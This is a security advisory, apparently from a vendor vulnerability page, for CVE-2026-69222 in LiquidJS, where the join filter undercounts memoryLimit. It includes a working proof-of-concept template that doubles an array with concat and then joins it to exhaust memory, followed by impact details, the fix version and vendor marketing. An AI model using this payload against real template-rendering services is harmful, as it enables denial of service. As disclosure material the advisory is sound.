Summary
LiquidJS: Uncontrolled Resource Consumption in join filter allows template authors to bypass memoryLimit and crash the process
The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget, bounded only by V8/process limits, not by memoryLimit.
Details
// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
const array = toArray(v)
const sep = isNil(arg) ? ' ' : stringify(arg)
const complexity = array.length * (1 + sep.length) // element COUNT, not element sizes
this.context.memoryLimit.use(complexity)
return array.join(sep) // allocates sum(element lengths) + separators
})
concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives, it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.
Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replace_first (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q), join wasn't covered. Sibling array_to_sentence_string (src/filters/string.ts:210) has the identical defect.
PoC
Live-reproduced against [email protected], Node v24.3.0.
const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense
const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;
const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds, should be blocked
console.log('output length:', len); // output length: 40960000
Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574, confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000, 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.
Impact
Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation", doesn't change that join's charge is wrong relative to what it allocates.)
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-69222 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.27.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-69222? CVE-2026-69222 is a high-severity uncontrolled resource consumption vulnerability in liquidjs (npm), affecting versions <= 10.27.1. It is fixed in 10.27.2. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-69222? CVE-2026-69222 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of liquidjs are affected by CVE-2026-69222? liquidjs (npm) versions <= 10.27.1 is affected.
- Is there a fix for CVE-2026-69222? Yes. CVE-2026-69222 is fixed in 10.27.2. Upgrade to this version or later.
- Is CVE-2026-69222 exploitable, and should I be worried? Whether CVE-2026-69222 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-69222 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-69222? Upgrade
liquidjsto 10.27.2 or later.